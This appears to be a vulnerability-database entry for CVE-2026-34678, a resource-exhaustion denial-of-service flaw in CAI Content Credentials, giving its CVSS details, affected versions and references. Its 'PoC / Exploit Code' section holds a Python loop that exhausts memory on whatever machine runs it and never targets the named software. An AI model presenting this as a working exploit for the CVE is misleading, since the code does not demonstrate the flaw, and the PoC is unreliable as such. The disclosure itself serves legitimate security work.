CVE-2026-34678

Description

CAI Content Credentials versions 0.78.2, 0.7.0 and earlier are affected by an Uncontrolled Resource Consumption vulnerability that could lead to application denial-of-service. An attacker could exploit this vulnerability to exhaust system resources, resulting in an application denial-of-service condition. Exploitation of this issue does not require user interaction.

CVSS Details

CVSS Score

6.2

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

CAI Content Credentials <= 0.78.2

CAI Content Credentials <= 0.7.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-34678: Resource Consumption in CAI Content Credentials
# This script simulates the resource exhaustion vulnerability by attempting to consume memory.
# Note: This is a conceptual simulation based on the vulnerability description.

import sys

def simulate_resource_exhaustion():
    print("[*] Starting resource exhaustion simulation for CVE-2026-34678...")
    try:
        # Simulate uncontrolled memory allocation
        memory_hog = []
        while True:
            # Allocate a large chunk of memory in each iteration
            # Real exploit would target specific vulnerable functions in CAI Content Credentials
            memory_hog.append('A' * 1024 * 1024) # 1MB per iteration
            print(f"[+] Allocated {len(memory_hog)} MB of memory...")
    except MemoryError:
        print("[!] System memory exhausted. Application Denial-of-Service triggered.")
        sys.exit(1)

if __name__ == "__main__":
    simulate_resource_exhaustion()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34678
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34678
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34678/
[4] VulDB https://vuldb.com/cve/CVE-2026-34678
[5] https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-53.html

Raw JSON Data

JSON

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